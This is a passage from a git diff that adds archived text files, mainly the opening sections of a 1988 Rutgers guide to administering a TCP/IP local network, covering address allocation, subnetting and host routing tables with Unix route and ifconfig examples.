RFC's: + /topaz/pub/pub/tcp-ip-docs/rfc-index.txt + /topaz/pub/pub/tcp-ip-docs/rfcxxx.txt + IEN's: + /topaz/pub/pub/tcp-ip-docs/ien-index.txt + /topaz/pub/pub/tcp-ip-docs/ien-xxx.txt + +Note that SRI-NIC has the entire set of RFC's and IEN's, but rutgers +and topaz have only those specifically mentioned above. + + + + + + + + + + + + + + + + 28 diff --git a/textfiles.com/internet/tcpadmin b/textfiles.com/internet/tcpadmin new file mode 100644 index 00000000..0a176463 --- /dev/null +++ b/textfiles.com/internet/tcpadmin @@ -0,0 +1,2821 @@ + + + + + + + + + Introduction + to + Administration + of an + Internet-based + Local Network + + + + C R + + C S + Computer Science Facilities Group + C I + + L S + + + RUTGERS + The State University of New Jersey + Center for Computers and Information Services + Laboratory for Computer Science Research + + + 24 July 1988 + +This is an introduction for people who intend to set up or administer +a network based on the Internet networking protocols (TCP/IP). + +Copyright (C) 1988, Charles L. Hedrick. Anyone may reproduce this +document, in whole or in part, provided that: (1) any copy or +republication of the entire document must show Rutgers University as +the source, and must include this notice; and (2) any other use of +this material must reference this manual and Rutgers University, and +the fact that the material is copyright by Charles Hedrick and is used +by permission. + + + +Unix is a trademark of AT&T Technologies, Inc. + + + + Table of Contents + + + 1. The problem 1 + 2. Routing and Addressing 2 + 3. Choosing an addressing structure 3 + 3.1 Should you subdivide your address space? 5 + 3.2 Subnets vs. multiple network numbers 5 + 3.3 How to allocate subnet or network numbers 6 + 3.3.1 Dealing with multiple "virtual" subnets on one 7 + network + 3.4 Choosing an address class 8 + 4. Setting up routing for an individual computer 9 + 4.1 How datagrams are routed 11 + 4.2 Fixed routes 13 + 4.3 Routing redirects 14 + 4.4 Other ways for hosts to find routes 16 + 4.4.1 Spying on Routing 16 + 4.4.2 Proxy ARP 17 + 4.4.3 Moving to New Routes After Failures 22 + 5. Bridges and Gateways 24 + 5.1 Alternative Designs 25 + 5.1.1 A mesh of point to point lines 26 + 5.1.2 Circuit switching technology 27 + 5.1.3 Single-level networks 27 + 5.1.4 Mixed designs 28 + 5.2 An introduction to alternative switching technologies 29 + 5.2.1 Repeaters 29 + 5.2.2 Bridges and gateways 30 + 5.2.3 More about bridges 32 + 5.2.4 More about gateways 34 + 5.3 Comparing the switching technologies 34 + 5.3.1 Isolation 35 + 5.3.2 Performance 36 + 5.3.3 Routing 37 + 5.3.4 Network management 39 + 5.3.5 A final evaluation 41 + 5.4 Configuring routing for gateways 44 + + + + + + + + + + + + + + + + + + i + + + +This document is intended to help people who planning to set up a new +network based on the Internet protocols, or to administer an existing +one. It assumes a basic familiarity with the TCP/IP protocols, +particularly the structure of Internet addresses. A companion paper, +"Introduction to the Internet Protocols", may provide a convenient +introduction. This document does not attempt to replace technical +documentation for your specific TCP/IP implementation. Rather, it +attempts to give overall background that is not specific to any +particular implementation. It is directed specifically at networks of +"medium" complexity. That is, it is probably appropriate for a +network involving several dozen buildings. Those planning to manage +larger networks will need more preparation than you can get by reading +this document. + +In a number of cases, commands and output from Berkeley Unix are +shown. Most computer systems have commands that are similar in +function to these. It seemed more useful to give some actual examples +that to limit myself to general talk, even if the actual output you +see is slightly different. + + + +1. The problem + + +This document will emphasize primarily "logical" network architecture. +There are many documents and articles in the trade press that discuss +actual network media, such as Ethernet, Token Ring, etc. What is +generally not made clear in these articles is that the choice of +network media is generally not all that critical for the overall +design of a network. What can be done by the network is generally +determined more by the network protocols supported, and the quality of +the implementations. In practice, media are normally chosen based on +purely pragmatic grounds: what media are supported by the particular +types of computer that you have to connect. Generally this means that +Ethernet is used for medium-scale systems, Ethernet or a network based +on twisted-pair wiring for micro networks, and specialized high-speed +networks (typically token ring) for campus-wide backbones, and for +local networks involving super-computer and other very high- +performance applications. + +Thus this document assumes that you have chosen and installed +individual networks such as Ethernet or token ring, and your vendor +has helped you connect your computers to these network. You are now +faced with the interrelated problems of + + - configuring the software on your computers + + - finding a way to connect individual Ethernets, token rings, etc., + to form a single coherent network + + - connecting your networks to the outside world + +My primary thesis in this document is that these decisions require a +bit of advance thought. In fact, most networks need an + 1 + + + +"architecture". This consists of a way of assigning addresses, a way +of doing routing, and various choices about how hosts interact with +the network. These decisions need to be made for the entire network, +preferably when it is first being installed. + + + +2. Routing and Addressing + + +Many of the decisions that you need to make in setting up TCP/IP +depend upon routing, so it will be best to give a bit of background on +that topic now. I will return to routing in a later section when +discussing gateways and bridges. In general, IP datagrams pass +through many networks while they are going between the source and +destination. Here's a typical example. (Addresses used in the +examples are taken from Rutgers University.) + + network 1 network 2 network 3 + 128.6.4 128.6.21 128.121 + ============================ ========== ================ + | | | | | | | + ___|______ _____|____ __|____|__ __|____|____ ___|________ + 128.6.4.2 128.6.4.3 128.6.4.1 128.6.21.1 128.121.50.2 + 128.6.21.2 128.121.50.1 + __________ __________ __________ ____________ ____________ + computer A computer B gateway R gateway S computer C + + +This diagram shows three normal computer systems, two gateways, and +three networks. The networks might be Ethernets, token rings, or any +other sort. Network 2 could even be a single point to point line +connecting gateways R and S. + +Note that computer A can send datagrams to computer B directly, using +network 1. However it can't reach computer C directly, since they +aren't on the same network. There are several ways to connect +separate networks. This diagram assumes that gateways are used. (In a +later section, we'll look at an alternative.) In this case, datagrams +going between A and C must be sent through gateway R, network 2, and +gateway S. Every computer that uses TCP/IP needs appropriate +information and algorithms to allow it to know when datagrams must be +sent through a gateway, and to choose an appropriate gateway. + +Routing is very closely tied to the choice of addresses. Note that +the address of each computer begins with the number of the network +that it's attached to. Thus 128.6.4.2 and 128.6.4.3 are both on +network 128.6.4. Next, notice that gateways, whose job is to connect +networks, have an address on each of those networks. For example, +gateway R connects networks 128.6.4 and 128.6.21. Its connection to +network 128.6.4 has the address 128.6.4.1. Its connection to network +128.6.21 has the address 128.6.21.2. + +Because of this association between addresses and networks, routing +decisions can be based strictly on the network number of the + 2 + + + +destination. Here's what the routing information for computer A might +look like: + + network gateway metric + + 128.6.4 none 0 + 128.6.21 128.6.4.1 1 + 128.121 128.6.4.1 2 + +From this table, computer A can tell that datagrams for computers on +network 128.6.4 can be sent directly, and datagrams for computers on +networks 128.6.21 and 128.121 need to be sent to gateway R for +forwarding. The "metric" is used by some routing algorithms as a +measure of how far away the destination is. In this case, the metric +simply indicates how many gateways the datagram has to go through. +(This is often referred to as a "hop count".) + +When computer A is ready to send a datagram, it examines the +destination address. The network number is taken from the beginning +of the address and looked up in the routing table. The table entry +indicates whether the packet should be sent directly to the +destination or to a gateway. + +Note that a gateway is simply a computer that is connected to two +different networks, and is prepared to forward packets between them. +In many cases it is most efficient to use special-purpose equipment +designed for use as a gateway. However it is perfectly possible to +use ordinary computers as gateways, as long as they have more than one +network interface, and their software is prepared to forward +datagrams. Most major TCP/IP implementations (even for +microcomputers) are designed to let you use your computer as a +gateway. However some of this software has limitations that can cause +trouble for your network. + + + +3. Choosing an addressing structure + + +The first comment to make about addresses is a warning: Before you +start using a TCP/IP network, you must get one or more official +network numbers. TCP/IP addresses look like this: 128.6.4.3. This +address is used by one computer at Rutgers University. The first part +of it, 128.6, is a network number, allocated to Rutgers by a central +authority. Before you start allocating addresses to your computers, +you must get an official network number. Unfortunately, some people +set up networks using either a randomly-chosen number, or a number +taken from examples in vendor documentation. While this may work in +the short run, it is a very bad idea for the long run. Eventually, +you will want to connect your network to some other organization's +network. Even if your organization is highly secret and very +concerned about security, somewhere in your organization there is +going to be a research computer that ends up being connected to a +nearby university. That university will probably be connected to a +large-scale national network. As soon as one of your datagrams + 3 + + + +escapes your local network, the organization you are talking to is +going to become very confused, because the addresses that appear in +your datagrams are probably officially allocated to someone else. + +The solution to this is simple: get your own network number from the +beginning. It costs nothing. If you delay it, then sometime years +from now you are going to be faced with the job of changing every +address on a large network. Network numbers are currently assigned by +the DDN Network Information Center, SRI International, 333 Ravenswood +Avenue, Menlo Park, California 94025 (telephone: 800-235-3155). You +can get a network number no matter what your network is being used +for. You do not need authorization to connect to the Defense Data +Network in order to get a number. The main piece of information that +will be needed when you apply for a network number is that address +class that you want. See below for a discussion of this. + +In many ways, the most important decision you have to make in setting +up a network is how you will assign Internet addresses to your +computers. This choice should be made with a view of how your network +is likely to grow. Otherwise, you will find that you have to change +addresses. When you have several hundred computers, address changes +can be nearly impossible. + +Addresses are critical because Internet datagrams are routed on the +basis of their address. For example, addresses at Rutgers University +have a 2-level structure. A typical address is 128.6.4.3. 128.6 is +assigned to Rutgers University by a central authority. As far as the +outside world is concerned, 128.6 is a single network. Other +universities send any packet whose address begins with 128.6 to the +nearest Rutgers gateway. However within Rutgers, we divide up our +address space into "subnets". We use the next 8 bits of address to +indicate which subnet a computer belongs to. 128.6.4.3 belongs to +subnet 128.6.4. Generally subnets correspond to physical networks, +e.g. separate Ethernets, although as we will see later there can be +exceptions. Systems inside Rutgers, unlike those outside, contain +information about the Rutgers subnet structure. So once a packet for +128.6.4.3 arrives at Rutgers, the Rutgers network will route it to the +departmental Ethernet, token ring, or whatever, that has been assigned +subnet number 128.6.4. + +When you start a network, there are several addressing decisions that +face you: + + - Do you subdivide your address space? + + - If so, do you use subnets or class C addresses? + + - You do you allocate subnets or class C networks? + + - How big an address space do you need? + + + + + + 4 + + + +3.1 Should you subdivide your address space? + + +It is not necessary to use subnets at all. There are network +technologies that allow an entire campus or company to act as a single +large logical Ethernet, so that no internal routing is necessary. If +you use this technology, then you do not need to subdivide your +address space. In that case, the only decision you have to make is +what class address to apply for. However we recommend using either a +subnet approach or some other method of subdividing your address space +in all cases: + + - In section 5.2 we will argue that internal gateways are desirable + for networks of any degree of complexity. + + - Even if you do not need gateways now, you may find later that you + need to use them. Thus it probably makes sense to assign + addresses as if each Ethernet or token ring was going to be a + separate subnet. This will allow for conversion to real subnets + later if it proves necessary. + + - For network maintenance purposes, it is convenient to have + addresses whose structure corresponds to the structure of the + network. That is, when you see a stray packet from system + 128.6.4.3, it is nice to know that all addresses beginning with + 128.6.4 are in a particular building. + + + +3.2 Subnets vs. multiple network numbers + + +Suppose that you have been convinced that it's a good idea to impose +some structure on your addresses. The next question is what that +structure should be. There are two basic approaches. One is subnets. +The other is multiple network numbers. + +The Internet standards specify what constitutes a network number. For +numbers beginning with 128 through 191 (the most common numbers these +days), the first two octets form the network number. E.g. in +140.3.50.1, 140.3 is the network number. Network numbers are assigned +to a particular organization. What you do with the next two octets is +up to you. You could choose to make the next octet be a subnet +number, or you could use some other scheme entirely. Gateways within +your organization will be set up to know the subnetting scheme that +you are using. However outside your organization, no one will know +that 140.3.50 is one subnet and 140.3.51 is another. They will simply +know that 140.3 is your organization. Unfortunately, this ability to +add additional structure to the address via subnets was not present in +the original TCP/IP specifications. Thus some software is incapable +of being told about subnets. + +If enough of the software that you are using has this problem, it may +be impractical for you to use subnets. Some organizations have used a +different approach. It is possible for an organization to apply for + 5 + + + +several network numbers. Instead of dividing a single network number, +say 140.3, into several subnets, e.g. 140.3.1 through 140.3.10, you +could apply for 10 different network numbers. Thus you might be +assigned the range 140.3 through 140.12. All TCP/IP software will +know that these are different network numbers. + +While using separate network numbers will work just fine within your +organization, it has two very serious disadvantages. The first, and +less serious, is that it wastes address space. There are only about +16,000 possible class B addresses. We cannot afford to waste 10 of +them on your organization, unless it is very large. This objection is +less serious because you would normally ask for class C addresses for +this purpose, and there are about 2 million possible class C +addresses. + +The more serious problem with using several network numbers rather +than subnets is that it overloads the routing tables in the rest of +the Internet. As mentioned above, when you divide your network number +into subnets, this division is known within your organization, but not +outside it. Thus systems outside your organization need only one +entry in their tables in order to be able to reach you. E.g. other +universities have entries in their routing tables for 128.6, which is +the Rutgers network number. If you use a range of network numbers +instead of subnets, that division will be visible to the entire +Internet. If we used 128.6 through 128.16 instead of subdividing +128.6, other universities would need entries for each of those network +numbers in their routing tables. As of this writing the routing +tables in many of the national networks are exceeding the size of the +current routing technology. It would be considered extremely +unfriendly for any organization to use more than one network number. +This may not be a problem if your network is going to be completely +self-contained, or if only one small piece of it will be connected to +the outside world. Nevertheless, most TCP/IP experts strongly +recommend that you use subnets rather than multiple networks. The +only reason for considering multiple networks is to deal with software +that cannot handle subnets. This was a problem a few years ago, but +is currently less serious. As long as your gateways can handle +subnets, you can deal with a few individual computers that cannot by +using "proxy ARP" (see below). + + + +3.3 How to allocate subnet or network numbers + + +Now that you have decided to use subnets or multiple network numbers, +you have to decide how to allocate them. Normally this is fairly +easy. Each physical network, e.g. Ethernet or token ring, is assigned +a separate subnet or network number. However you do have some +options. + +In some cases it may make sense to assign several subnet numbers to a +single physical network. At Rutgers we have a single Ethernet that +spans three buildings, using repeaters. It is very clear to us that +as computers are added to this Ethernet, it is going to have to be + 6 + + + +split into several separate Ethernets. In order to avoid having to +change addresses when this is done, we have allocated three different +subnet numbers to this Ethernet, one per building. (This would be +handy even if we didn't plan to split the Ethernet, just to help us +keep track of where computers are.) However before doing this, make +very sure that the software on all of your computers can handle a +network that has three different network numbers on it. + +You also have to choose a "subnet mask". This is used by the software +on your systems to separate the subnet from the rest of the address. +So far we have always assumed that the first two octets are the +network number, and the next octet is the subnet number. For class B +addresses, the standards specify that the first two octets are the +network number. However we are free to choose the boundary between +the subnet number and the rest of the address. It's very common to +have a one-octet subnet number, but that's not the only possible +choice. Let's look again at a class B address, e.g. 128.6.4.3. It is +easy to see that if the third octet is used for a subnet number, there +are 256 possible subnets and within each subnet there are 256 possible +addresses. (Actually, the numbers are more like 254, since it is +generally a bad idea to use 0 or 255 for subnet numbers or addresses.) +Suppose you know that you will never have more than 128 computers on a +given subnet, but you are afraid you might need more than 256 subnets. +(For example, you might have a campus with lots of small buildings.) +In that case, you could define 10 bits for the subnet number, leaving +6 bits for addresses within each subnet. This choice is expressed by +a bit mask, using ones for the bits used by the network and subnet +number, and 0's for the bits used for individual addresses. Our +normal subnet choice is given as 255.255.255.0. If we chose 10 bit +subnet numbers and 6 bit addresses, the subnet mask would be +255.255.255.192. + +Generally it is possible to specify the subnet mask for each computer +as part of configuring its TCP/IP software. The TCP/IP protocols also +allow for computers to send a query asking what the subnet mask is. +If your network supports broadcast queries, and there is at least one +computer or gateway on the network that knows the subnet mask, it may +be unnecessary to set it on the other computers. (This capability +brings with it a whole new set of possible problems. One well-known +TCP/IP implementation would answer with the wrong subnet mask when +queried, thus leading causing every other computer on the network to +be misconfigured.) + + + +3.3.1 Dealing with multiple "virtual" subnets on one network + + +Most software is written under the assumption that every computer on +the local network has the same subnet number. When traffic is being +sent to a machine with a different subnet number, the software will +generally expect to find a gateway to handle forwarding to that +subnet. Let's look at the implications. Suppose subnets 128.6.19 and +128.6.20 are on the same Ethernet. Consider the way things look from +the point of view of a computer with address 128.6.19.3. It will have + 7 + + + +no problem sending to other machines with addresses 128.6.19.x. They +are on the same subnet, and so our computer will know to send directly +to them on the local Ethernet. However suppose it is asked to send a +packet to 128.6.20.2. Since this is a different subnet, most software +will expect to find a gateway that handles forwarding between the two +subnets. Of course there isn't a gateway between subnets 128.6.19 and +128.6.20, since they are on the same Ethernet. Thus it must be +possible to tell your software that 128.6.20 is actually on the same +Ethernet. + +For the most common TCP/IP implementations, it is possible to deal +with more than one subnet on a network. For example, Berkeley Unix +allows you to define gateways using a command "route add". Suppose +that you get from subnet 128.6.19 to subnet 128.6.4 using a gateway +whose address is 128.6.19.1. You would use the command + + route add 128.6.4.0 128.6.19.1 1 + +This says that to reach subnet 128.6.4, traffic should be sent via the +gateway at 128.6.19.1, and that the route only has to go through one +gateway. The "1" is referred to as the "routing metric". If you use +a metric of 0, you are saying that the destination subnet is on the +same network, and no gateway is needed. In our example, on system +128.6.19.3, you would use + + route add 128.6.20.0 128.6.19.1 0 + +The actual address used in place of 128.6.19.1 is irrelevant. The +metric of 0 says that no gateway is actually going to be used, so the +gateway address is not used. However it must be a legal address on +the local network. + +Note that the commands in this section are simply examples. You should +look in the documentation for your particular implementation to see +how to configure your routing. + + + +3.4 Choosing an address class + + +When you apply for an official network number, you will be asked what +class of network number you need. The possible answers are A, B, and +C. This affects how large an address space you will be allocated. +Class A addresses are one octet long, class B addresses are 2 octets, +and class C addresses are 3 octets. This represents a tradeoff: +there are a lot more class C addresses than class A addresses, but the +class C addresses don't allow as many hosts. The idea was that there +would be a few very large networks, a moderate number of medium-size +ones, and a lot of mom-and-pop stores that would have small networks. +Here is a table showing the distinction: + + class range of first octet network rest possible addresses + A 1 - 126 p q.r.s 16777214 + B 128 - 191 p.q r.s 65534 + 8 + + + + C 192 - 223 p.q.r s 254 + +For example network 10, a class A network, has addresses between +10.0.0.1 and 10.255.255.254. So it allows 254**3, or about 16 million +possible addresses. (Actually, network 10 has allocated addresses +where some of the octets are zero, so there are a few more networks +possible.) Network 192.12.88, a class C network has hosts between +192.12.88.1 and 128.12.88.254, i.e. 254 possible hosts. + +In general, you will be expected to choose the lowest class that will +provide you with enough addresses to handle your growth over the next +few years. In general organizations that have computers in many +buildings will probably need and be able to get a class B address, +assuming that they are going to use subnetting. (If you are going to +use many separate network numbers, you would ask for a number of class +C addresses.) Class A addresses are normally used only for large +public networks and for a few very large corporate networks. + + + +4. Setting up routing for an individual computer + + +All TCP/IP implementations require some configuration for each host. +In some cases this is done in a "system generation". In other cases, +various startup and configuration files must be set up on the system. +Still other systems get configuration information across the network +from a "server". While the details differ, the same kinds of +information need to be supplied for most implementations. This +includes + + - parameters describing the specific machine, such as its Internet + address. + + - parameters describing the network, such as the subnet mask (if + any) + + - routing software and the tables that drive it + + - startup of various programs needed to handle network tasks + +Before a machine is installed on your network, a coordinator should +assign it a host name and Internet address. If the machine has more +than one network interface, you must assign a separate Internet +address for each. (In most cases, the same host name can be used. +The name goes with the machine as a whole, whereas the address is +associated with the connection to a specific network.) The address +should begin with the network number for the network to which it is to +be attached. We recommend that you assign addresses starting from 1. +Should you find that you need more subnets than your current subnet +mask allows, you may later need to expand the subnet mask to use more +bits. If all addresses use small numbers, this will be possible. + +Generally the Internet address must be specified individually in a +configuration file on each computer. However some computers + 9 + + + +(particularly those without permanent disks on which configuration +information could be stored) find out their Internet address by +sending a broadcast request over the network. In that case, you will +have to make sure that some other system is configured to answer the +request. When a system asks for its Internet address, enough +information must be put into the request to allow another system to +recognize it and to send a response back. For Ethernet systems, +generally the request will include the Ethernet address of the +requesting system. Ethernet addresses are assigned by the computer +manufacturers, and are guaranteed to be unique. Thus they are a good +way of identifying the computer. And of course the Ethernet address +is also needed in order to send the response back. If it is used as +the basis for address lookup, the system that is to answer the request +will need a table of Ethernet addresses and the corresponding Internet +address. The only problem in constructing this table will be finding +the Ethernet address for each computer. Generally, computers are +designed so that they print the Ethernet address on the console +shortly after being turned on. However in some cases you may have to +type a command that displays information about the Ethernet interface. + +Generally the subnet mask should be specified in a configuration file +associated with the computer. (For Unix systems, the "ifconfig" +command is used to specify both the Internet address and subnet mask.) +However there are provisions in the IP protocols for a computer to +broadcast a request asking for the subnet mask. The subnet mask is an +attribute of the network. That is, it is the same for all computers +on a given subnet. Thus there is no separate subnet table +corresponding to the Ethernet/Internet address mapping table used to +answer address queries. Generally any machine on the network that +believes it knows the subnet mask will answer any query about the +subnet mask. For that reason, an incorrect subnet mask setting on one +machine can cause confusion throughout the network. + +Normally the configuration files do roughly the following things: + + - enable each of the network interfaces (Ethernet interface, serial + lines, etc.) Normally this involves specifying an Internet + address and subnet mask for each, as well as other options that + will be described in your vendor's documentation. + + - establish network routing information, either by commands that + add fixed routes, or by starting a program that obtains them + dynamically. + + - turn on the name server (used for looking up names and finding + the corresponding Internet address -- see the section on the + domain system in the Introduction to TCP/IP). + + - set various other information needed by the system software, such + as the name of the system itself. + + - start various "daemons". These are programs that provide network + services to other systems on the network, and to users on this + system. + + 10 + + + +It is not practical to document these steps in detail, since they +differ for each vendor. This section will concentrate on a few issues +where your choice will depend upon overall decisions about how your +network is to operate. These overall network policy decisions are +often not as well documented by the vendors as the details of how to +start specific programs. Note that some care will be necessary to +integrate commands that you add for routing, etc., into the startup +sequence at the right point. Some of the most mysterious problems +occur when network routing is not set up before a program needs to +make a network query, or when a program attempts to look up a host +name before the name server has finished loading all of the names from +a master name server. + + + +4.1 How datagrams are routed + + +If your system consists of a single Ethernet or similar medium, you do +not need to give routing much attention. However for more complex +systems, each of your machines needs a routing table that lists a +gateway and interface to use for every possible destination network. +A simple example of this was given at the beginning of this section. +However it is now necessary to describe the way routing works in a bit +more detail. On most systems, the routing table looks something like +the following. (This example was taken from a system running Berkeley +Unix, using the command "netstat -n -r". Some columns containing +statistical information have been omitted.) + + Destination Gateway Flags Interface + + 128.6.5.3 128.6.7.1 UHGD il0 + 128.6.5.21 128.6.7.1 UHGD il0 + 127.0.0.1 127.0.0.1 UH lo0 + 128.6.4 128.6.4.61 U pe0 + 128.6.6 128.6.7.26 U il0 + 128.6.7 128.6.7.26 U il0 + 128.6.2 128.6.7.1 UG il0 + 10 128.6.4.27 UG pe0 + 128.121 128.6.4.27 UG pe0 + default 128.6.4.27 UG pe0 + +The example system is connected to two Ethernets: + + controller network address other networks + il0 128.6.7 128.6.7.26 128.6.6 + pe0 128.6.4 128.6.4.61 none + +The first column shows the designation for the controller hardware +that connects the computer to that Ethernet. (This system happens to +have controllers from two different vendors. The first one is made by +Interlan, the second by Pyramid.) The second column is the network +number for the network. The third column is this computer's Internet +address on that network. The last column shows other subnets that +share the same physical network. + 11 + + + +Now let's look at the routing table. For the moment, let us ignore +the first 3 lines. The majority of the table consists of a set of +entries describing networks. For each network, the other three +columns show where to send datagrams destined for that network. If +the "G" flag is present in the third column, datagrams for that +network must be sent through a gateway. The second column shows the +address of the gateway to be used. If the "G" flag is not present, +the computer is directly connected to the network in question. So +datagrams for that network should be sent using the controller shown +in the third column. The "U" flag in the third column simply +indicates that the route specified by that line is up, i.e. that no +errors have occured indicating that the path is unusable. + +The first 3 lines show "host routes", indicated by the "H" flag in +column three. Routing tables normally have entries for entire +networks or subnets. For example, the entry + + 128.6.2 128.6.7.1 UG il0 + +indicates that datagrams for any computer on network 128.6.2 (i.e. +addresses 128.6.2.1 through 128.6.2.254) should be sent to gateway +128.6.7.1 for forwarding. However sometimes routes apply only to a +specific computer, rather than to a whole network. In that case, a +host route is used. The first column then shows a complete address, +and the "H" flag is present in column 3. E.g. the entry + + 128.6.5.21 128.6.7.1 UHGD il0 + +indicates that datagrams for the specific address 128.6.5.21 should be +sent to the gateway 128.6.7.1. As with network routes, the "G" flag +is used for routes that involve a gateway. The "D" flag indicates +that the route was added dynamically, based on an ICMP redirect +message from a gateway. (See below for details.) + +The following route is special: + + 127.0.0.1 127.0.0.1 UH lo0 + +127.0.0.1 is the address of the "loopback device". This is a dummy +software module. Any datagram sent out through that "device" appears +immediately as input. It can be used for testing. The loopback +address is also handy for sending queries to programs that are +designed to respond to network queries, but happen to be running on +the same computer. (Why bother to use your network to talk to a +program that is on the same machine you are?) + +Finally, there are "default" routes, e.g. + + default 128.6.4.27 UG pe0 + +This route is used for datagrams that don't match any other entry. In +this case, they are sent to a gateway with address 128.6.4.27. + +In most systems, datagrams are routed by looking up the destination +address in a table such as the one just described. If the address + 12 + + + +matches a specific host route, then that is used. Otherwise, if it +matches a network route, that is used. If no other route works, the +default is used. If there is no default, normally the user gets an +error message such as "network is unreachable". + +The following sections will describe several ways of setting up these +routing tables. Generally, the actual operation of sending packets +doesn't depend upon which method you use to set up the routes. When a +packet is to be sent, its destination is looked up in the table. The +different routing methods are simply more and less sophisticated ways +of setting up and maintaining the tables. + + + +4.2 Fixed routes + + +The simplest way of doing routing is to have your configuration +contain commands to set up the routing table at startup, and then +leave it alone. This method is practical for relatively small +networks, particularly if they don't change very often. + +Most computers automatically set up some routing entries for you. +Unix will add an entry for the networks to which you are directly +connected. For example, your startup file might contain the commands + + ifconfig ie0 128.6.4.4 netmask 255.255.255.0 + ifconfig ie1 128.6.5.35 netmask 255.255.255.0 + +These specify that there are two network interfaces, and your +addresses on them. The system will automatically create routing table +entries + + 128.6.4 128.6.4.4 U ie0 + 128.6.5 128.6.5.35 U ie1 + +These specify that datagrams for the local subnets, 128.6.4 and +128.6.5, should be sent out the corresponding interface. + +In addition to these, your startup files would contain commands to +define routes to whatever other networks you wanted to reach. For +example, + + route add 128.6.2.0 128.6.4.1 1 + route add 128.6.6.0 128.6.5.35 0 + +These commands specify that in order to reach network 128.6.2, a +gateway at address 128.6.4.1 should be used, and that network 128.6.6 +is actually an additional network number for the physical network +connected to interface 128.6.5.35. Some other software might use +different commands for these cases. Unix differentiates them by the +"metric", which is the number at the end of the command. The metric +indicates how many gateways the datagram will have to go through to +get to the destination. Routes with metrics of 1 or greater specify +the address of the first gateway on the path. Routes with metrics of + 13 + + + +0 indicate that no gateway is involved -- this is an additional +network number for the local network. + +Finally, you might define a default route, to be used for destinations +not listed explicitly. This would normally show the address of a +gateway that has enough information to handle all possible +destinations. + +If your network has only one gateway attached to it, then of course +all you need is a single entry pointing to it as a default. In that +case, you need not worry further about setting up routing on your +hosts. (The gateway itself needs more attention, as we will see.) +The following sections are intended to provide help for setting up +networks where there are several different gateways. + + + +4.3 Routing redirects + + +Most Internet experts recommend leaving routing decisions to the +gateways. That is, it is probably a bad idea to have large fixed +routing tables on each computer. The problem is that when something +on the network changes, you have to go around to many computers and +update the tables. If changes happen because a line goes down, +service may not be restored until someone has a chance to notice the +problem and change all the routing tables. + +The simplest way to keep routes up to date is to depend upon a single +gateway to update your routing tables. This gateway should be set as +your default. (On Unix, this would mean a command such as "route add +default 128.6.4.27 1", where 128.6.4.27 is the address of the +gateway.) As described above, your system will send all datagrams to +the default when it doesn't have any better route. At first, this +strategy does not sound very good if you have more than one gateway. +After all, if all you have is a single default entry, how will you +ever use the other gateways in the cases where they are better? The +answer is that most gateways are able to send "redirects" when they +get datagrams for which there is a better route. A redirect is a +specific kind of message using the ICMP (Internet Control Message +Protocol). It contains information that generally translates to "In +the future, to get to address XXXXX, please use gateway YYYYY instead +of me". Correct TCP/IP implementations use these redirects to add +entries to their routing table. Suppose your routing table starts out +as follows: + + Destination Gateway Flags Interface + + 127.0.0.1 127.0.0.1 UH lo0 + 128.6.4 128.6.4.61 U pe0 + default 128.6.4.27 UG pe0 + +This contains an entry for the local network, 128.6.4, and a default +pointing to the gateway 128.6.4.27. Suppose there is also a gateway +128.6.4.30, which is the best way to get to network 128.6.7. How do + 14 + + + +you find it? Suppose you have datagrams to send to 128.6.7.23. The +first datagram will go to the default gateway, since that's the only +thing in the routing table. However the default gateway, 128.6.4.27, +will notice that 128.6.4.30 would really be a better route. (How it +does that is up to the gateway. However there are some fairly simple +methods for a gateway to determine that you would be better off using +a different one.) Thus 128.6.4.27 will send back a redirect +specifying that packets for 128.6.7.23 should be sent via 128.6.4.30. +Your TCP/IP software will add a routing entry + + 128.6.7.23 128.6.4.30 UDHG pe0 + +Any future datagrams for 128.6.7.23 will be sent directly to the +appropriate gateway. + +This strategy would be a complete solution, if it weren't for three +problems: + + - It requires each computer to have the address of one gateway + "hardwired" into its startup files, as the initial default. + + - If a gateway goes down, routing table entries using it may not be + removed. + + - If your network uses subnets, and your TCP/IP implementation does + not handle them, this strategy will not work. + +How serious the first problem is depends upon your situation. For +small networks, there is no problem modifying startup files whenever +something changes. But some organizations can find it very painful. +If network topology changes, and a gateway is removed, any systems +that have that gateway as their default must be adjusted. This is +particularly serious if the people who maintain the network are not +the same as those maintaining the individual systems. One simple +appoach is to make sure that the default address never changes. For +example, you might adopt the convention that address 1 on each subnet +is the default gateway for that subnet. For example, on subnet +128.6.7, the default gateway would always be 128.6.7.1. If that +gateway is ever removed, some other gateway is given that address. +(There must always be at least one gateway left to give it to. If +there isn't, you are completely cut off anyway.) + +The biggest problem with the description given so far is that it tells +you how to add routes but not how to get rid of them. What happens if +a gateway goes down? You want traffic to be redirected back to a +gateway that is up. Unfortunately, a gateway that has crashed is not +going to issue Redirects. One solution is to choose very reliable +gateways. If they crash very seldom, this may not be a problem. Note +that Redirects can be used to handle some kinds of network failure. +If a line goes down, your current route may no longer be a good one. +As long as the gateway to which you are talking is still up and +talking to you, it can simply issue a Redirect to the gateway that is +now the best one. However you still need a way to detect failure of +one of the gateways that you are talking to directly. + + 15 + + + +The best approach for handling failed gateways is for your TCP/IP +implementation to detect routes that have failed. TCP maintains +various timers that allow the software to detect when a connection has +broken. When this happens, one good approach is to mark the route +down, and go back to the default gateway. A similar approach can also +be used to handle failures in the default gateway. If you have mark +two gateways as default, then the software should be capable of +switching when connections using one of them start failing. +Unfortunately, some common TCP/IP implementations do not mark routes +as down and change to new ones. (In particular Berkeley 4.2 Unix does +not.) However Berkeley 4.3 Unix does do this, and as other vendors +begin to base products on 4.3 rather than 4.2, this ability is +expected to be more common. + + + +4.4 Other ways for hosts to find routes + + +As long as your TCP/IP implementations handle failing connections +properly, establishing one or more default routes in the configuration +file is likely to be the simplest way to handle routing. However +there are two other routing approaches that are worth considering for +special situations: + + - spying on the routing protocol + + - using proxy ARP + + + +4.4.1 Spying on Routing + + +Gateways generally have a special protocol that they use among +themselves. Note that redirects cannot be used by gateways. +Redirects are simply ways for gateways to tell "dumb" hosts to use a +different gateway. The gateways themselves must have a complete +picture of the network, and a way to compute the optimal route to each +subnet. Generally they maintain this picture by exchanging +information among themselves. There are several different routing +protocols in use for this purpose. One way for a computer to keep +track of gateways is for it to listen to the gateways' messages. +There is software available for this purpose for most of the common +routing protocols. When you run this software, it maintains a +complete picture of the network, just as the gateways do. The +software is generally designed to maintain your computer's routing +tables dynamically, so that datagrams are always sent to the proper +gateway. In effect, the routing software issues the equivalent of the +Unix "route add" and "route delete" commands as the network topology +changes. Generally this results in a complete routing table, rather +than one that depends upon default routes. (This assumes that the +gateways themselves maintain a complete table. Sometimes gateways +keep track of your campus network completely, but use a default route +for all off-campus networks, etc.) + 16 + + + +Running routing software on each host does in some sense "solve" the +routing 